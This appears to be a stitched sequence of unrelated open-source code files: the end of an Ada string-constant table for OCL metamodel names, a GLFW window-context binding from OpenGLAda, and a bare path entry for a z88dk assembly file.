<>); -- "MessageType" MS_002C : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 11, Length => 11, Value => (16#004D#, 16#0065#, 16#0073#, 16#0073#, 16#0061#, 16#0067#, 16#0065#, 16#0054#, 16#0079#, 16#0070#, 16#0065#, others => 16#0000#), others => <>); -- "generatedType" MS_002D : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 13, Length => 13, Value => (16#0067#, 16#0065#, 16#006E#, 16#0065#, 16#0072#, 16#0061#, 16#0074#, 16#0065#, 16#0064#, 16#0054#, 16#0079#, 16#0070#, 16#0065#, others => 16#0000#), others => <>); -- "appliedElement" MS_002E : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 14, Length => 14, Value => (16#0061#, 16#0070#, 16#0070#, 16#006C#, 16#0069#, 16#0065#, 16#0064#, 16#0045#, 16#006C#, 16#0065#, 16#006D#, 16#0065#, 16#006E#, 16#0074#, others => 16#0000#), others => <>); -- "booleanSymbol" MS_002F : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 13, Length => 13, Value => (16#0062#, 16#006F#, 16#006F#, 16#006C#, 16#0065#, 16#0061#, 16#006E#, 16#0053#, 16#0079#, 16#006D#, 16#0062#, 16#006F#, 16#006C#, others => 16#0000#), others => <>); -- "CollectionLiteralPart" MS_0030 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 23, Unused => 21, Length => 21, Value => (16#0043#, 16#006F#, 16#006C#, 16#006C#, 16#0065#, 16#0063#, 16#0074#, 16#0069#, 16#006F#, 16#006E#, 16#004C#, 16#0069#, 16#0074#, 16#0065#, 16#0072#, 16#0061#, 16#006C#, 16#0050#, 16#0061#, 16#0072#, 16#0074#, others => 16#0000#), others => <>); -- "navigationSource" MS_0031 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 23, Unused => 16, Length => 16, Value => (16#006E#, 16#0061#, 16#0076#, 16#0069#, 16#0067#, 16#0061#, 16#0074#, 16#0069#, 16#006F#, 16#006E#, 16#0053#, 16#006F#, 16#0075#, 16#0072#, 16#0063#, 16#0065#, others => 16#0000#), others => <>); -- "IterateExp" MS_0032 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 10, Length => 10, Value => (16#0049#, 16#0074#, 16#0065#, 16#0072#, 16#0061#, 16#0074#, 16#0065#, 16#0045#, 16#0078#, 16#0070#, others => 16#0000#), others => <>); -- "type1" MS_0033 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 7, Unused => 5, Length => 5, Value => (16#0074#, 16#0079#, 16#0070#, 16#0065#, 16#0031#, others => 16#0000#), others => <>); -- "condition" MS_0034 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 9, Length => 9, Value => (16#0063#, 16#006F#, 16#006E#, 16#0064#, 16#0069#, 16#0074#, 16#0069#, 16#006F#, 16#006E#, others => 16#0000#), others => <>); -- "firstOwner" MS_0035 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 10, Length => 10, Value => (16#0066#, 16#0069#, 16#0072#, 16#0073#, 16#0074#, 16#004F#, 16#0077#, 16#006E#, 16#0065#, 16#0072#, others => 16#0000#), others => <>); -- "parameterVariable" MS_0036 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 23, Unused => 17, Length => 17, Value => (16#0070#, 16#0061#, 16#0072#, 16#0061#, 16#006D#, 16#0065#, 16#0074#, 16#0065#, 16#0072#, 16#0056#, 16#0061#, 16#0072#, 16#0069#, 16#0061#, 16#0062#, 16#006C#, 16#0065#, others => 16#0000#), others => <>); -- "exp2" MS_0037 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 7, Unused => 4, Length => 4, Value => (16#0065#, 16#0078#, 16#0070#, 16#0032#, others => 16#0000#), others => <>); -- "specification" MS_0038 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 13, Length => 13, Value => (16#0073#, 16#0070#, 16#0065#, 16#0063#, 16#0069#, 16#0066#, 16#0069#, 16#0063#, 16#0061#, 16#0074#, 16#0069#, 16#006F#, 16#006E#, others => 16#0000#), others => <>); -- "VoidType" MS_0039 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 8, Length => 8, Value => (16#0056#, 16#006F#, 16#0069#, 16#0064#, 16#0054#, 16#0079#, 16#0070#, 16#0065#, others => 16#0000#), others => <>); -- "BagType" MS_003A : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 7, Length => 7, Value => (16#0042#, 16#0061#, 16#0067#, 16#0054#, 16#0079#, 16#0070#, 16#0065#, others => 16#0000#), others => <>); -- "IntegerLiteralExp" MS_003B : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 23, Unused => 17, Length => 17, Value => (16#0049#, 16#006E#, 16#0074#, 16#0065#, 16#0067#, 16#0065#, 16#0072#, 16#004C#, 16#0069#, 16#0074#, 16#0065#, 16#0072#, 16#0061#, 16#006C#, 16#0045#, 16#0078#, 16#0070#, others => 16#0000#), others => <>); -- "elseExpression" MS_003C : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 14, Length => 14, Value => (16#0065#, 16#006C#, 16#0073#, 16#0065#, 16#0045#, 16#0078#, 16#0070#, 16#0072#, 16#0065#, 16#0073#, 16#0073#, 16#0069#, 16#006F#, 16#006E#, others => 16#0000#), others => <>); -- "target" MS_003D : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 7, Unused => 6, Length => 6, Value => (16#0074#, 16#0061#, 16#0072#, 16#0067#, 16#0065#, 16#0074#, others => 16#0000#), others => <>); -- "CollectionLiteralExp" MS_003E : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 23, Unused => 20, Length => 20, Value => (16#0043#, 16#006F#, 16#006C#, 16#006C#, 16#0065#, 16#0063#, 16#0074#, 16#0069#, 16#006F#, 16#006E#, 16#004C#, 16#0069#, 16#0074#, 16#0065#, 16#0072#, 16#0061#, 16#006C#, 16#0045#, 16#0078#, 16#0070#, others => 16#0000#), others => <>); -- "exp3" MS_003F : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 7, Unused => 4, Length => 4, Value => (16#0065#, 16#0078#, 16#0070#, 16#0033#, others => 16#0000#), others => <>); -- "FeatureCallExp" MS_0040 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 14, Length => 14, Value => (16#0046#, 16#0065#, 16#0061#, 16#0074#, 16#0075#, 16#0072#, 16#0065#, 16#0043#, 16#0061#, 16#006C#, 16#006C#, 16#0045#, 16#0078#, 16#0070#, others => 16#0000#), others => <>); -- "OrderedSetType" MS_0041 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 14, Length => 14, Value => (16#004F#, 16#0072#, 16#0064#, 16#0065#, 16#0072#, 16#0065#, 16#0064#, 16#0053#, 16#0065#, 16#0074#, 16#0054#, 16#0079#, 16#0070#, 16#0065#, others => 16#0000#), others => <>); -- "item1" MS_0042 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 7, Unused => 5, Length => 5, Value => (16#0069#, 16#0074#, 16#0065#, 16#006D#, 16#0031#, others => 16#0000#), others => <>); -- "exp4" MS_0043 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 7, Unused => 4, Length => 4, Value => (16#0065#, 16#0078#, 16#0070#, 16#0034#, others => 16#0000#), others => <>); -- "contextVariable" MS_0044 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 23, Unused => 15, Length => 15, Value => (16#0063#, 16#006F#, 16#006E#, 16#0074#, 16#0065#, 16#0078#, 16#0074#, 16#0056#, 16#0061#, 16#0072#, 16#0069#, 16#0061#, 16#0062#, 16#006C#, 16#0065#, others => 16#0000#), others => <>); -- "unlimitedNaturalSymbol" MS_0045 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 23, Unused => 22, Length => 22, Value => (16#0075#, 16#006E#, 16#006C#, 16#0069#, 16#006D#, 16#0069#, 16#0074#, 16#0065#, 16#0064#, 16#004E#, 16#0061#, 16#0074#, 16#0075#, 16#0072#, 16#0061#, 16#006C#, 16#0053#, 16#0079#, 16#006D#, 16#0062#, 16#006F#, 16#006C#, others => 16#0000#), others => <>); -- "AssociationClassCallExp" MS_0046 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 31, Unused => 23, Length => 23, Value => (16#0041#, 16#0073#, 16#0073#, 16#006F#, 16#0063#, 16#0069#, 16#0061#, 16#0074#, 16#0069#, 16#006F#, 16#006E#, 16#0043#, 16#006C#, 16#0061#, 16#0073#, 16#0073#, 16#0043#, 16#0061#, 16#006C#, 16#006C#, 16#0045#, 16#0078#, 16#0070#, others => 16#0000#), others => <>); -- "http://www.omg.org/spec/OCL/20090501" MS_0047 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 39, Unused => 36, Length => 36, Value => (16#0068#, 16#0074#, 16#0074#, 16#0070#, 16#003A#, 16#002F#, 16#002F#, 16#0077#, 16#0077#, 16#0077#, 16#002E#, 16#006F#, 16#006D#, 16#0067#, 16#002E#, 16#006F#, 16#0072#, 16#0067#, 16#002F#, 16#0073#, 16#0070#, 16#0065#, 16#0063#, 16#002F#, 16#004F#, 16#0043#, 16#004C#, 16#002F#, 16#0032#, 16#0030#, 16#0030#, 16#0039#, 16#0030#, 16#0035#, 16#0030#, 16#0031#, others => 16#0000#), others => <>); -- "IfExp" MS_0048 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 7, Unused => 5, Length => 5, Value => (16#0049#, 16#0066#, 16#0045#, 16#0078#, 16#0070#, others => 16#0000#), others => <>); -- "OclExpression" MS_0049 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 13, Length => 13, Value => (16#004F#, 16#0063#, 16#006C#, 16#0045#, 16#0078#, 16#0070#, 16#0072#, 16#0065#, 16#0073#, 16#0073#, 16#0069#, 16#006F#, 16#006E#, others => 16#0000#), others => <>); -- "loopExp" MS_004A : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 7, Length => 7, Value => (16#006C#, 16#006F#, 16#006F#, 16#0070#, 16#0045#, 16#0078#, 16#0070#, others => 16#0000#), others => <>); -- "NavigationCallExp" MS_004B : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 23, Unused => 17, Length => 17, Value => (16#004E#, 16#0061#, 16#0076#, 16#0069#, 16#0067#, 16#0061#, 16#0074#, 16#0069#, 16#006F#, 16#006E#, 16#0043#, 16#0061#, 16#006C#, 16#006C#, 16#0045#, 16#0078#, 16#0070#, others => 16#0000#), others => <>); -- "CollectionItem" MS_004C : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 14, Length => 14, Value => (16#0043#, 16#006F#, 16#006C#, 16#006C#, 16#0065#, 16#0063#, 16#0074#, 16#0069#, 16#006F#, 16#006E#, 16#0049#, 16#0074#, 16#0065#, 16#006D#, others => 16#0000#), others => <>); -- "CollectionType" MS_004D : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 14, Length => 14, Value => (16#0043#, 16#006F#, 16#006C#, 16#006C#, 16#0065#, 16#0063#, 16#0074#, 16#0069#, 16#006F#, 16#006E#, 16#0054#, 16#0079#, 16#0070#, 16#0065#, others => 16#0000#), others => <>); -- "OrderedSet" MS_004E : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 10, Length => 10, Value => (16#004F#, 16#0072#, 16#0064#, 16#0065#, 16#0072#, 16#0065#, 16#0064#, 16#0053#, 16#0065#, 16#0074#, others => 16#0000#), others => <>); -- "in" MS_004F : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 7, Unused => 2, Length => 2, Value => (16#0069#, 16#006E#, others => 16#0000#), others => <>); -- "topExpression" MS_0050 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 13, Length => 13, Value => (16#0074#, 16#006F#, 16#0070#, 16#0045#, 16#0078#, 16#0070#, 16#0072#, 16#0065#, 16#0073#, 16#0073#, 16#0069#, 16#006F#, 16#006E#, others => 16#0000#), others => <>); -- "StateExp" MS_0051 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 8, Length => 8, Value => (16#0053#, 16#0074#, 16#0061#, 16#0074#, 16#0065#, 16#0045#, 16#0078#, 16#0070#, others => 16#0000#), others => <>); -- "TupleType" MS_0052 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 9, Length => 9, Value => (16#0054#, 16#0075#, 16#0070#, 16#006C#, 16#0065#, 16#0054#, 16#0079#, 16#0070#, 16#0065#, others => 16#0000#), others => <>); -- "sentSignal" MS_0053 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 10, Length => 10, Value => (16#0073#, 16#0065#, 16#006E#, 16#0074#, 16#0053#, 16#0069#, 16#0067#, 16#006E#, 16#0061#, 16#006C#, others => 16#0000#), others => <>); -- "OperationCallExp" MS_0054 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 23, Unused => 16, Length => 16, Value => (16#004F#, 16#0070#, 16#0065#, 16#0072#, 16#0061#, 16#0074#, 16#0069#, 16#006F#, 16#006E#, 16#0043#, 16#0061#, 16#006C#, 16#006C#, 16#0045#, 16#0078#, 16#0070#, others => 16#0000#), others => <>); -- "referredType" MS_0055 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 12, Length => 12, Value => (16#0072#, 16#0065#, 16#0066#, 16#0065#, 16#0072#, 16#0072#, 16#0065#, 16#0064#, 16#0054#, 16#0079#, 16#0070#, 16#0065#, others => 16#0000#), others => <>); -- "body" MS_0056 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 7, Unused => 4, Length => 4, Value => (16#0062#, 16#006F#, 16#0064#, 16#0079#, others => 16#0000#), others => <>); -- "kind" MS_0057 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 7, Unused => 4, Length => 4, Value => (16#006B#, 16#0069#, 16#006E#, 16#0064#, others => 16#0000#), others => <>); -- "RealLiteralExp" MS_0058 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 14, Length => 14, Value => (16#0052#, 16#0065#, 16#0061#, 16#006C#, 16#004C#, 16#0069#, 16#0074#, 16#0065#, 16#0072#, 16#0061#, 16#006C#, 16#0045#, 16#0078#, 16#0070#, others => 16#0000#), others => <>); -- "loopBodyOwner" MS_0059 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 13, Length => 13, Value => (16#006C#, 16#006F#, 16#006F#, 16#0070#, 16#0042#, 16#006F#, 16#0064#, 16#0079#, 16#004F#, 16#0077#, 16#006E#, 16#0065#, 16#0072#, others => 16#0000#), others => <>); -- "Sequence" MS_005A : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 8, Length => 8, Value => (16#0053#, 16#0065#, 16#0071#, 16#0075#, 16#0065#, 16#006E#, 16#0063#, 16#0065#, others => 16#0000#), others => <>); -- "variable" MS_005B : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 8, Length => 8, Value => (16#0076#, 16#0061#, 16#0072#, 16#0069#, 16#0061#, 16#0062#, 16#006C#, 16#0065#, others => 16#0000#), others => <>); -- "TupleLiteralExp" MS_005C : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 23, Unused => 15, Length => 15, Value => (16#0054#, 16#0075#, 16#0070#, 16#006C#, 16#0065#, 16#004C#, 16#0069#, 16#0074#, 16#0065#, 16#0072#, 16#0061#, 16#006C#, 16#0045#, 16#0078#, 16#0070#, others => 16#0000#), others => <>); -- "PrimitiveLiteralExp" MS_005D : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 23, Unused => 19, Length => 19, Value => (16#0050#, 16#0072#, 16#0069#, 16#006D#, 16#0069#, 16#0074#, 16#0069#, 16#0076#, 16#0065#, 16#004C#, 16#0069#, 16#0074#, 16#0065#, 16#0072#, 16#0061#, 16#006C#, 16#0045#, 16#0078#, 16#0070#, others => 16#0000#), others => <>); -- "UnspecifiedValueExp" MS_005E : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 23, Unused => 19, Length => 19, Value => (16#0055#, 16#006E#, 16#0073#, 16#0070#, 16#0065#, 16#0063#, 16#0069#, 16#0066#, 16#0069#, 16#0065#, 16#0064#, 16#0056#, 16#0061#, 16#006C#, 16#0075#, 16#0065#, 16#0045#, 16#0078#, 16#0070#, others => 16#0000#), others => <>); -- "iterator" MS_005F : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 8, Length => 8, Value => (16#0069#, 16#0074#, 16#0065#, 16#0072#, 16#0061#, 16#0074#, 16#006F#, 16#0072#, others => 16#0000#), others => <>); -- "StringLiteralExp" MS_0060 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 23, Unused => 16, Length => 16, Value => (16#0053#, 16#0074#, 16#0072#, 16#0069#, 16#006E#, 16#0067#, 16#004C#, 16#0069#, 16#0074#, 16#0065#, 16#0072#, 16#0061#, 16#006C#, 16#0045#, 16#0078#, 16#0070#, others => 16#0000#), others => <>); -- "TemplateParameterType" MS_0061 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 23, Unused => 21, Length => 21, Value => (16#0054#, 16#0065#, 16#006D#, 16#0070#, 16#006C#, 16#0061#, 16#0074#, 16#0065#, 16#0050#, 16#0061#, 16#0072#, 16#0061#, 16#006D#, 16#0065#, 16#0074#, 16#0065#, 16#0072#, 16#0054#, 16#0079#, 16#0070#, 16#0065#, others => 16#0000#), others => <>); -- "LetExp" MS_0062 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 7, Unused => 6, Length => 6, Value => (16#004C#, 16#0065#, 16#0074#, 16#0045#, 16#0078#, 16#0070#, others => 16#0000#), others => <>); -- "exp6" MS_0063 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 7, Unused => 4, Length => 4, Value => (16#0065#, 16#0078#, 16#0070#, 16#0036#, others => 16#0000#), others => <>); -- "elementType" MS_0064 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 11, Length => 11, Value => (16#0065#, 16#006C#, 16#0065#, 16#006D#, 16#0065#, 16#006E#, 16#0074#, 16#0054#, 16#0079#, 16#0070#, 16#0065#, others => 16#0000#), others => <>); -- "part" MS_0065 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 7, Unused => 4, Length => 4, Value => (16#0070#, 16#0061#, 16#0072#, 16#0074#, others => 16#0000#), others => <>); -- "Collection" MS_0066 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 10, Length => 10, Value => (16#0043#, 16#006F#, 16#006C#, 16#006C#, 16#0065#, 16#0063#, 16#0074#, 16#0069#, 16#006F#, 16#006E#, others => 16#0000#), others => <>); -- "type2" MS_0067 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 7, Unused => 5, Length => 5, Value => (16#0074#, 16#0079#, 16#0070#, 16#0065#, 16#0032#, others => 16#0000#), others => <>); -- "referredState" MS_0068 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 13, Length => 13, Value => (16#0072#, 16#0065#, 16#0066#, 16#0065#, 16#0072#, 16#0072#, 16#0065#, 16#0064#, 16#0053#, 16#0074#, 16#0061#, 16#0074#, 16#0065#, others => 16#0000#), others => <>); -- "elseOwner" MS_0069 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 9, Length => 9, Value => (16#0065#, 16#006C#, 16#0073#, 16#0065#, 16#004F#, 16#0077#, 16#006E#, 16#0065#, 16#0072#, others => 16#0000#), others => <>); -- "parentNav" MS_006A : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 9, Length => 9, Value => (16#0070#, 16#0061#, 16#0072#, 16#0065#, 16#006E#, 16#0074#, 16#004E#, 16#0061#, 16#0076#, others => 16#0000#), others => <>); -- "qualifier" MS_006B : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 9, Length => 9, Value => (16#0071#, 16#0075#, 16#0061#, 16#006C#, 16#0069#, 16#0066#, 16#0069#, 16#0065#, 16#0072#, others => 16#0000#), others => <>); -- "ifOwner" MS_006C : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 7, Length => 7, Value => (16#0069#, 16#0066#, 16#004F#, 16#0077#, 16#006E#, 16#0065#, 16#0072#, others => 16#0000#), others => <>); -- "last" MS_006D : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 7, Unused => 4, Length => 4, Value => (16#006C#, 16#0061#, 16#0073#, 16#0074#, others => 16#0000#), others => <>); -- "first" MS_006E : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 7, Unused => 5, Length => 5, Value => (16#0066#, 16#0069#, 16#0072#, 16#0073#, 16#0074#, others => 16#0000#), others => <>); -- "NumericLiteralExp" MS_006F : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 23, Unused => 17, Length => 17, Value => (16#004E#, 16#0075#, 16#006D#, 16#0065#, 16#0072#, 16#0069#, 16#0063#, 16#004C#, 16#0069#, 16#0074#, 16#0065#, 16#0072#, 16#0061#, 16#006C#, 16#0045#, 16#0078#, 16#0070#, others => 16#0000#), others => <>); -- "baseExp" MS_0070 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 7, Length => 7, Value => (16#0062#, 16#0061#, 16#0073#, 16#0065#, 16#0045#, 16#0078#, 16#0070#, others => 16#0000#), others => <>); -- "part2" MS_0071 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 7, Unused => 5, Length => 5, Value => (16#0070#, 16#0061#, 16#0072#, 16#0074#, 16#0032#, others => 16#0000#), others => <>); -- "lastOwner" MS_0072 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 9, Length => 9, Value => (16#006C#, 16#0061#, 16#0073#, 16#0074#, 16#004F#, 16#0077#, 16#006E#, 16#0065#, 16#0072#, others => 16#0000#), others => <>); -- "SequenceType" MS_0073 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 12, Length => 12, Value => (16#0053#, 16#0065#, 16#0071#, 16#0075#, 16#0065#, 16#006E#, 16#0063#, 16#0065#, 16#0054#, 16#0079#, 16#0070#, 16#0065#, others => 16#0000#), others => <>); -- "IteratorExp" MS_0074 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 11, Length => 11, Value => (16#0049#, 16#0074#, 16#0065#, 16#0072#, 16#0061#, 16#0074#, 16#006F#, 16#0072#, 16#0045#, 16#0078#, 16#0070#, others => 16#0000#), others => <>); -- "UnlimitedNaturalLiteralExp" MS_0075 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 31, Unused => 26, Length => 26, Value => (16#0055#, 16#006E#, 16#006C#, 16#0069#, 16#006D#, 16#0069#, 16#0074#, 16#0065#, 16#0064#, 16#004E#, 16#0061#, 16#0074#, 16#0075#, 16#0072#, 16#0061#, 16#006C#, 16#004C#, 16#0069#, 16#0074#, 16#0065#, 16#0072#, 16#0061#, 16#006C#, 16#0045#, 16#0078#, 16#0070#, others => 16#0000#), others => <>); -- "exp7" MS_0076 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 7, Unused => 4, Length => 4, Value => (16#0065#, 16#0078#, 16#0070#, 16#0037#, others => 16#0000#), others => <>); -- "type3" MS_0077 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 7, Unused => 5, Length => 5, Value => (16#0074#, 16#0079#, 16#0070#, 16#0065#, 16#0033#, others => 16#0000#), others => <>); -- "selfOwner" MS_0078 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 9, Length => 9, Value => (16#0073#, 16#0065#, 16#006C#, 16#0066#, 16#004F#, 16#0077#, 16#006E#, 16#0065#, 16#0072#, others => 16#0000#), others => <>); -- "LoopExp" MS_0079 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 7, Length => 7, Value => (16#004C#, 16#006F#, 16#006F#, 16#0070#, 16#0045#, 16#0078#, 16#0070#, others => 16#0000#), others => <>); -- "referredVariable" MS_007A : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 23, Unused => 16, Length => 16, Value => (16#0072#, 16#0065#, 16#0066#, 16#0065#, 16#0072#, 16#0072#, 16#0065#, 16#0064#, 16#0056#, 16#0061#, 16#0072#, 16#0069#, 16#0061#, 16#0062#, 16#006C#, 16#0065#, others => 16#0000#), others => <>); -- "initializedElement" MS_007B : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 23, Unused => 18, Length => 18, Value => (16#0069#, 16#006E#, 16#0069#, 16#0074#, 16#0069#, 16#0061#, 16#006C#, 16#0069#, 16#007A#, 16#0065#, 16#0064#, 16#0045#, 16#006C#, 16#0065#, 16#006D#, 16#0065#, 16#006E#, 16#0074#, others => 16#0000#), others => <>); -- "exp8" MS_007C : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 7, Unused => 4, Length => 4, Value => (16#0065#, 16#0078#, 16#0070#, 16#0038#, others => 16#0000#), others => <>); -- "MessageExp" MS_007D : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 10, Length => 10, Value => (16#004D#, 16#0065#, 16#0073#, 16#0073#, 16#0061#, 16#0067#, 16#0065#, 16#0045#, 16#0078#, 16#0070#, others => 16#0000#), others => <>); -- "source" MS_007E : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 7, Unused => 6, Length => 6, Value => (16#0073#, 16#006F#, 16#0075#, 16#0072#, 16#0063#, 16#0065#, others => 16#0000#), others => <>); -- "referingExp" MS_007F : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 11, Length => 11, Value => (16#0072#, 16#0065#, 16#0066#, 16#0065#, 16#0072#, 16#0069#, 16#006E#, 16#0067#, 16#0045#, 16#0078#, 16#0070#, others => 16#0000#), others => <>); -- "CallExp" MS_0080 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 7, Length => 7, Value => (16#0043#, 16#0061#, 16#006C#, 16#006C#, 16#0045#, 16#0078#, 16#0070#, others => 16#0000#), others => <>); -- "SetType" MS_0081 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 15, Unused => 7, Length => 7, Value => (16#0053#, 16#0065#, 16#0074#, 16#0054#, 16#0079#, 16#0070#, 16#0065#, others => 16#0000#), others => <>); -- "exp5" MS_0082 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 7, Unused => 4, Length => 4, Value => (16#0065#, 16#0078#, 16#0070#, 16#0035#, others => 16#0000#), others => <>); -- "referredEnumLiteral" MS_0083 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 23, Unused => 19, Length => 19, Value => (16#0072#, 16#0065#, 16#0066#, 16#0065#, 16#0072#, 16#0072#, 16#0065#, 16#0064#, 16#0045#, 16#006E#, 16#0075#, 16#006D#, 16#004C#, 16#0069#, 16#0074#, 16#0065#, 16#0072#, 16#0061#, 16#006C#, others => 16#0000#), others => <>); -- "Set" MS_0084 : aliased Matreshka.Internals.Strings.Shared_String := (Capacity => 7, Unused => 3, Length => 3, Value => (16#0053#, 16#0065#, 16#0074#, others => 16#0000#), others => <>); end AMF.Internals.Tables.OCL_String_Data_00;
src/glfw/v3/glfw-windows-context.adb
Roldak/OpenGLAda
79
30662
-- part of OpenGLAda, (c) 2017 <NAME> -- released under the terms of the MIT license, see the file "COPYING" with Glfw.API; with Glfw.Enums; package body Glfw.Windows.Context is procedure Make_Current (Window : access Glfw.Windows.Window'Class) is begin if not Window.Initialized then -- null is accepted to detach the current context, but an uninitialized -- window *should* lead to an exception instead of detaching the -- context, so we handle this here raise Operation_Exception with "Window not initialized"; end if; if Window = null then API.Make_Context_Current (System.Null_Address); else API.Make_Context_Current (Window.Handle); end if; end Make_Current; function Current return access Glfw.Windows.Window'Class is use type System.Address; Raw : constant System.Address := API.Get_Current_Context; begin if Raw = System.Null_Address then return null; else return Window_Ptr (Raw); end if; end Current; procedure Swap_Buffers (Window : not null access Glfw.Windows.Window'Class) is begin API.Swap_Buffers (Window.Handle); end Swap_Buffers; procedure Set_Swap_Interval (Value : Swap_Interval) renames API.Swap_Interval; function Client_API (Window : not null access Glfw.Windows.Window'Class) return API_Kind is begin return API.Get_Window_Attrib (Window.Handle, Enums.Client_API); end Client_API; function Profile (Window : not null access Glfw.Windows.Window'Class) return OpenGL_Profile_Kind is begin return API.Get_Window_Attrib (Window.Handle, Enums.OpenGL_Profile); end Profile; procedure Get_Context_Version (Window : not null access Glfw.Windows.Window'Class; Major : out Positive; Minor, Revision : out Natural) is begin Major := Positive (Interfaces.C.int'( (API.Get_Window_Attrib (Window.Handle, Enums.Context_Version_Major)))); Minor := Natural (Interfaces.C.int'( (API.Get_Window_Attrib (Window.Handle, Enums.Context_Version_Minor)))); Revision := Natural (Interfaces.C.int'( (API.Get_Window_Attrib (Window.Handle, Enums.Context_Revision)))); end Get_Context_Version; function Is_Forward_Compat (Window : not null access Glfw.Windows.Window'Class) return Boolean is begin return Boolean (Bool'(API.Get_Window_Attrib (Window.Handle, Enums.OpenGL_Forward_Compat))); end Is_Forward_Compat; function Is_Debug_Context (Window : not null access Glfw.Windows.Window'Class) return Boolean is begin return Boolean (Bool'(API.Get_Window_Attrib (Window.Handle, Enums.OpenGL_Debug_Context))); end Is_Debug_Context; function Robustness (Window : not null access Glfw.Windows.Window'Class) return Robustness_Kind is begin return API.Get_Window_Attrib (Window.Handle, Enums.Context_Robustness); end Robustness; end Glfw.Windows.Context;
libsrc/_DEVELOPMENT/math/float/math32/lm32/c/sccz80/hypot_callee.asm
jpoikela/z88dk
0
173422
